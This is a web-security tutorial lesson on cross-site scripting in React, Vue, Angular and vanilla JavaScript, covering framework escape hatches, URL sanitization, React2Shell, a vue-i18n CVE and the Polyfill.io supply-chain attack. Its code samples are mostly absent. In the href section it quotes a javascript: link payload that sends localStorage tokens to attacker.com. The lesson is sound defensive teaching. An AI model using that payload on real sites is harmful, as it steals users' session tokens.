XSS in React, Vue, Angular, and Vanilla JS
In Lessons 1 and 2, we covered what XSS is, the three types, and the payloads attackers use.
All of that was framework-agnostic. The vulnerable code examples used plain JavaScript and Express to keep things simple.
But most of us aren't writing plain JavaScript.
We're using React, Vue, or Angular, and those frameworks come with built-in XSS protections that change the picture considerably.
The problem is that every framework also has gaps, escape hatches, and third-party dependencies that reintroduce the exact vulnerabilities the framework was supposed to prevent.
This lesson is about where each framework protects us and where it doesn't.
Here's what we'll cover:
- What all frameworks get right (auto-escaping) and the one thing they all get wrong (URLs)
- React:
dangerouslySetInnerHTML, thehrefattack, user-controlled props, refs, and the React2Shell incident - Vue:
v-html, why Vue's team doesn't consider it a vulnerability, Nuxt SSR risks, and a real CVE invue-i18n - Angular: how
[innerHTML]actually sanitizes by default, SecurityContext, and whybypassSecurityTrustHtmlis the real danger - Vanilla JS:
innerHTMLvstextContent, jQuery's.html(), and why legacy code is the riskiest code - Third-party scripts and supply chain XSS, connecting what we learned in Module 1 to the XSS vectors we're covering now
What all frameworks get right
React, Vue, and Angular all auto-encode text content by default. When we use standard data binding, the framework converts characters like <, >, ", and & into their HTML entity equivalents before inserting them into the DOM.
This means user input gets treated as text, not markup.
In React, JSX handles this: <p>{userInput}</p> is safe.
In Vue, double curly braces do it: <p>{{ userInput }}</p> is safe.
In Angular, interpolation does it: <p>{{ userInput }}</p> is safe.
This one feature prevents the majority of basic XSS attacks.
If we stick to default data binding for all user-visible content, we're protected from the most common vectors.
But every framework has cases where the protection doesn't apply, and those cases are exactly where attackers look.
React
React has the most third-party components in the npm ecosystem, and its escape hatches are some of the most commonly misused.
dangerouslySetInnerHTML
React named this prop well. It bypasses auto-escaping entirely and inserts raw HTML into the DOM. Any <script> tag, event handler, or javascript: URI in the HTML will execute.
The fix is to sanitize with DOMPurify before rendering. Build a wrapper component that handles this in one place:
The useMemo ensures we only re-sanitize when the input changes, not on every render.
Without it, a comment list with 200 items would run DOMPurify 200 times on every re-render.
Use SafeHTML everywhere instead of raw dangerouslySetInnerHTML.
Any direct use of dangerouslySetInnerHTML without the wrapper should be flagged in code review.
The Signal Desktop app had exactly this bug: it used dangerouslySetInnerHTML without sanitization, leading to a React-based XSS vulnerability that required a patch.
Without the wrapper, the attacker's <img onerror> payload executes invisibly.
With it, DOMPurify strips the event handler and either removes the element or renders it without the dangerous attribute. The user sees the page as intended, and the attack fails.
The href attack
This is the vector that catches React developers the most, because it doesn't involve dangerouslySetInnerHTML at all.
React auto-encodes text content, but it does not validate URL attributes.
If user.website is javascript:fetch('https://attacker.com/steal?t='+localStorage.getItem('token')), React renders it as a valid link.
When any visitor clicks it, the JavaScript executes in their browser session.
The defense is URL validation. We can write our own or use @braintree/sanitize-url, which handles edge cases like mixed-case protocols (jAvAsCrIpT:), HTML entity encoding (javascript:), and whitespace injection:
This applies to every attribute that accepts a URL: href on links, src on iframes, action on forms, and formaction on buttons. Anywhere user data is stored in a URL attribute, we need protocol validation.
Liran Tal's "How React Applications Get Hacked in the Real-World" talk uses this exact vector as the opening demonstration, because it's the one that surprises developers the most.
User-controlled props via JSON
There's a subtler attack that doesn't require the developer to explicitly write dangerouslySetInnerHTML.
In React, the spread operator {...obj} passes every property of an object as individual props to a component.
If the application parses user-controlled JSON and spreads it as props, an attacker controls which props get set, including dangerouslySetInnerHTML.
The fix: never spread untrusted data as props. Pick the specific properties we need:
Refs and direct DOM access
React developers sometimes use useRef to access DOM elements directly, especially when integrating third-party non-React libraries (chart libraries, rich text editors, maps).
When we do this, we're operating outside React's protection:
React can't protect us here because we're manipulating the DOM directly. If content comes from an external source, this is XSS.
The fix is the same as anywhere else: use textContent instead of innerHTML, or sanitize with DOMPurify.
Server-side rendering and React2Shell
In Lesson 1, we mentioned that SSR with string concatenation bypasses React's auto-encoding.
In December 2025, the JavaScript ecosystem got a much more severe reminder that server-side React operates under a completely different security model than client-side React.
CVE-2025-55182, nicknamed React2Shell, was a remote code execution vulnerability with a CVSS score of 10.0 in React Server Components.
The bug was in the RSC "Flight" protocol, which serializes component data between client and server. A crafted HTTP request could trick the server-side deserializer into executing arbitrary code.
No authentication required. A blank create-next-app application built for production was exploitable with no code changes by the developer.
Public exploit code appeared within 24 hours of disclosure.
Wiz Research, Amazon Threat Intelligence, and Datadog all confirmed exploitation in the wild. Over 571,000 React servers and 444,000 Next.js servers were found on Shodan, and the vulnerability affected React 19.0 through 19.2.0 and every version of Next.js that used the App Router.
React2Shell wasn't an XSS vulnerability (it was RCE, not script injection).
But the lesson it teaches is directly relevant to this module: the JSX auto-encoding we rely on for client-side XSS protection does not apply to server-side code paths.
Server-side React code that processes user input (including RSC deserialization, API routes, and server actions) needs server-side security practices: input validation, deserialization safeguards, and immediate patching when vulnerabilities are disclosed.
The client-side security model and the server-side security model are two different things, and assuming one covers the other is how React2Shell affected hundreds of thousands of servers.
Vue
Vue's XSS model is similar to React's in many ways, but with a few important differences in how the team thinks about security responsibility.
v-html
Vue's equivalent of dangerouslySetInnerHTML is the v-html directive. It renders raw HTML without any sanitization:
The name v-html doesn't carry the same warning as dangerouslySetInnerHTML.
It looks like a normal Vue directive. This arguably makes it more dangerous because developers use it without thinking twice.
The fix is the same as React: sanitize with DOMPurify.
Vue's security stance
Vue's official security documentation contains a statement worth careful reading: "We do not consider [v-html XSS] to be actual vulnerabilities because there's no practical way to protect developers from the two scenarios that would allow XSS."
They go on to explain that if developers explicitly render unsanitized user content as HTML, that's the developer's responsibility.
This is technically correct, but it means Vue won't automatically sanitize v-html.
The directive does exactly what it says: renders HTML. If we use it with untrusted data, we're on our own.
URL sanitization
Vue has the same href problem as React. The :href binding (shorthand for v-bind:href) doesn't validate URL protocols:
Vue's security docs actually acknowledge this directly: "if you're ever doing URL sanitization on the frontend, you already have a security issue."
Their recommendation is to sanitize URLs on the backend before they reach the frontend.
If we need frontend validation too, the same @braintree/sanitize-url library works.
SSR risks in Nuxt
Everything we said about Next.js and server-side React applies to Nuxt and server-side Vue as well. If Nuxt server routes concatenate user input into HTML strings, Vue's client-side auto-encoding doesn't help.
And as the React2Shell incident showed, server-side framework vulnerabilities can affect any RSC-enabled framework.
Nuxt developers should monitor Vue and Nuxt security advisories with the same urgency that Next.js developers monitor React's.
Third-party component XSS: vue-i18n
In 2025, a real XSS vulnerability was found in vue-i18n (CVE-2025-53892), Vue's most popular internationalization plugin.
The bug was in how it handled translation strings when escapeParameterHtml was set to true.
Despite HTML escaping being explicitly enabled, an attacker could inject payloads via translation strings rendered with v-html internally.
The question is: who controls the translation strings?
In most apps, developers author them directly. But if translations come from a CMS, a translation management platform, or an external API that allows non-developer users to edit strings, those strings become untrusted input.
Developers thought they were safe because they enabled the escape option but they weren't.
This is a pattern we see repeatedly: a library offers a "secure" option, developers enable it, and a bypass is found later.
The defense is to sanitize on output regardless of what the library claims to do internally.
Angular
Angular's approach to XSS is architecturally different from React and Vue.
Built-in sanitization on [innerHTML]
When we use Angular's [innerHTML] property binding, Angular automatically sanitizes the input using its built-in DomSanitizer. It strips script tags, event handlers, and javascript: URIs before rendering:
React and Vue don't do this. Their escape hatches (dangerouslySetInnerHTML, v-html) insert raw HTML with zero sanitization.
Angular's [innerHTML] sanitizes by default. Developers don't need to remember to import DOMPurify for the common case.
When Angular strips content, it logs a warning in the console: "WARNING: sanitizing HTML stripped some content."
If we see this warning and our instinct is to reach for bypassSecurityTrustHtml to make it go away, we should stop. The warning means Angular is protecting us.
Suppressing it by bypassing the sanitizer is the wrong fix.
SecurityContext
Angular's sanitizer is context-aware. The DomSanitizer works with different SecurityContext values: HTML, STYLE, URL, RESOURCE_URL, and SCRIPT.
Each context applies different sanitization rules. This maps directly to the context-sensitive output handling table from Lesson 1. Angular is the only major framework that builds context-awareness into its sanitizer at the framework level.
bypassSecurityTrustHtml
Angular's real escape hatch is bypassSecurityTrustHtml(), a method on the DomSanitizer service. It marks content as trusted, which means Angular's sanitizer won't touch it:
The name is explicit about what it does, but developers still reach for it when Angular's sanitizer strips something they wanted to keep (like embedded videos, iframes, or custom elements).
Once they call bypassSecurityTrustHtml, they're back to square one.
Angular handles JavaScript: URLs
Unlike React and Vue, Angular's sanitizer also blocks javascript: URLs by default.
When user data is bound to an href or src attribute, Angular checks the protocol and strips dangerous values.
The href attack that works against React and Vue is blocked in Angular out of the box.
The bypass exists here too: bypassSecurityTrustUrl() and bypassSecurityTrustResourceUrl() will let javascript: URLs through.
But the default is safe, which is a much better starting point.
When DomSanitizer doesn't help
Angular's sanitizer only works through template bindings.
If we access the DOM directly through ElementRef and nativeElement, Angular's protection is bypassed entirely:
Angular's documentation is clear about this: "Avoid directly interacting with the DOM and instead use Angular templates where possible."
Vanilla JS
Vanilla JavaScript has no framework protecting us.
Every DOM operation is our responsibility. That said, the principles from Lessons 1 and 2 apply directly, and in some ways it's simpler because there's no abstraction layer to reason about.
The core choice is between textContent (safe) and innerHTML (dangerous):
innerText is also safe for output (it works like textContent with some layout differences), but textContent is generally preferred because it's faster and doesn't trigger a reflow.
document.write() is an innerHTML-equivalent for the entire page. It's rare in modern code but still shows up in legacy applications and some analytics/ad scripts. It should never be used with untrusted data. If we find it in our codebase, the question is whether it's receiving any data that originated from a user, an API, or a URL parameter.
eval(), setTimeout('string'), setInterval('string'), and new Function('string') all execute strings as JavaScript. These are the JavaScript execution sinks we covered in Lesson 2. If user data reaches any of these, there's no sanitization that helps. The fix is to not use them. For setTimeout and setInterval, always pass a function reference instead of a string:
jQuery is worth mentioning specifically because it's still present on the majority of websites.
jQuery's .html() is equivalent to innerHTML and jQuery's .text() is equivalent to textContent.
The TweetDeck worm from Lesson 1 exploited exactly this: tweet content was rendered with .html() instead of .text(), and a script tag in a tweet became executable code.
If we're maintaining a jQuery application, every call to .html() that receives external data needs the same scrutiny as innerHTML.
Third-party scripts and supply chain XSS
This is where Module 1 (npm security) and Module 2 (XSS) connect directly. We can write perfect code in our own components and still be vulnerable because of a dependency.
npm components that render HTML
Some npm packages use innerHTML or dangerouslySetInnerHTML internally without the developer knowing.
Liran Tal's conference talk demonstrates this with react-json-pretty, a component that renders JSON in a formatted way.
The developer imports it, passes the data as a prop, and the component renders it as raw HTML internally.
If the data is user-controlled, it's XSS, and the developer never wrote dangerouslySetInnerHTML themselves.
The same pattern shows up in markdown renderers, syntax highlighters, WYSIWYG editors, data visualization libraries, and rich text components.
When evaluating any component that displays user content, we need to check whether it uses innerHTML under the hood.
Does it sanitize? What sanitizer does it use, and is it maintained?
In Lesson 2, we covered how the marked npm package had a sanitizer bypass where javascript: (HTML entity encoding) slipped through the javascript: check.
CDN-loaded scripts: the Polyfill.io incident
In June 2024, security researchers discovered that the Polyfill.io domain had been compromised. A Chinese company called Funnull had acquired the domain in February 2024 and started injecting malicious JavaScript into the polyfill scripts served from cdn.polyfill.io.
Over 100,000 websites were affected, including sites belonging to Hulu, Mercedes-Benz, and Warner Bros.
The malicious code dynamically generated payloads based on HTTP headers, targeted mobile devices specifically, and redirected users to phishing and scam sites.
It was functionally equivalent to stored XSS: any user who visited a page that loaded the script got hit.
Andrew Betts, the original developer of the polyfill service, had warned users back in February to stop using polyfill.io, months before the attack was publicly discovered.
Cloudflare and Fastly both set up safe mirrors, and Google blocked ads on sites using the compromised domain. But as of July 2024, Censys still found over 380,000 hosts referencing the malicious domain.
For static CDN assets (libraries that don't change per request), use Subresource Integrity (SRI) hashes so the browser refuses to execute the script if its content has been modified:
One important caveat: SRI only works when the file is the same every time.
Polyfill.io dynamically generated different polyfill bundles based on the user's browser (User-Agent header), so the content changed per request, making SRI impossible to apply. For services like that, the correct defense is to self-host the scripts or stop using the service entirely.
SRI is a strong defense for static assets, but it's not a solution for dynamic CDN content.
We'll cover SRI in more detail in Lesson 6 alongside CSP.
Quick comparison
| Auto-encodes text? | Sanitizes innerHTML? | Blocks JavaScript: URLs? | Escape hatch | Safe HTML rendering | |
|---|---|---|---|---|---|
| React | Yes (JSX) | No | No | dangerouslySetInnerHTML |
DOMPurify + SafeHTML wrapper |
| Vue | Yes ({{ }}) |
No | No | v-html |
DOMPurify + computed property |
| Angular | Yes (interpolation) | Yes ([innerHTML]) |
Yes | bypassSecurityTrustHtml() |
Built-in (DOMPurify for extra control) |
| Vanilla JS | No (manual) | No | No | Everything is manual | DOMPurify + innerHTML |
Angular has the strongest defaults. React and Vue protect text output but leave HTML rendering and URL validation entirely to the developer. Vanilla JS protects nothing by default.
Check your code
Here are the framework-specific searches. Run these against our codebase:
For every result, trace the data: where does it come from?
If it originates from user input, an API, a database, or any external source, and there's no sanitization between the source and the sink, we have a potential XSS vulnerability.
We'll turn this into a complete systematic audit process in Lesson 7.
What's next
In the next lesson, we'll see what happens when an attacker combines XSS with OAuth flows to escalate from a script injection into full account takeover.
References and more reading material
- Liran Tal, "How React Applications Get Hacked in the Real-World" (GitNation, 2024) https://gitnation.com/contents/how-react-applications-get-hacked-in-the-real-world
- Liran Tal, "Comparing React and Angular secure coding practices" https://lirantal.com/blog/comparing-react-and-angular-secure-coding-practices-snyk-96315e3faf7d
- Philippe De Ryck, "Preventing XSS in React (Part 1): Data binding and URLs" https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part1.html
- Philippe De Ryck, "Preventing XSS in React (Part 2): dangerouslySetInnerHTML" https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part2.html
- Philippe De Ryck, "Preventing XSS in Angular" https://pragmaticwebsecurity.com/articles/spasecurity/angular-xss.html
- React, "Critical Security Vulnerability in React Server Components" (CVE-2025-55182) https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- Next.js, "Security Advisory: CVE-2025-66478" https://nextjs.org/blog/CVE-2025-66478
- Wiz Research, "React2Shell (CVE-2025-55182): Critical React Vulnerability" https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
- Vue.js, "Security" (official documentation) https://vuejs.org/guide/best-practices/security.html
- Snyk, "Cross-site Scripting (XSS) in vue-i18n" (CVE-2025-53892) https://security.snyk.io/vuln/SNYK-JS-VUEI18N-10771082
- Angular, "Security" (official documentation) https://angular.dev/best-practices/security
- Angular, "DomSanitizer" (API reference) https://angular.dev/api/platform-browser/DomSanitizer
- Sansec Research, "Polyfill.io Supply Chain Attack" (June 2024) https://sansec.io/research/polyfill-supply-chain-attack
- Censys, "Polyfill.io Supply Chain Attack: Digging into the Web of Compromised Domains" https://censys.com/blog/july-2-polyfill-io-supply-chain-attack-digging-into-the-web-of-compromised-domains/
- Snyk, "Polyfill Supply Chain Attack Embeds Malware in JavaScript CDN Assets" https://dev.to/snyk/polyfill-supply-chain-attack-embeds-malware-in-javascript-cdn-assets-55d6
- @braintree/sanitize-url (npm package for URL protocol validation) https://www.npmjs.com/package/@braintree/sanitize-url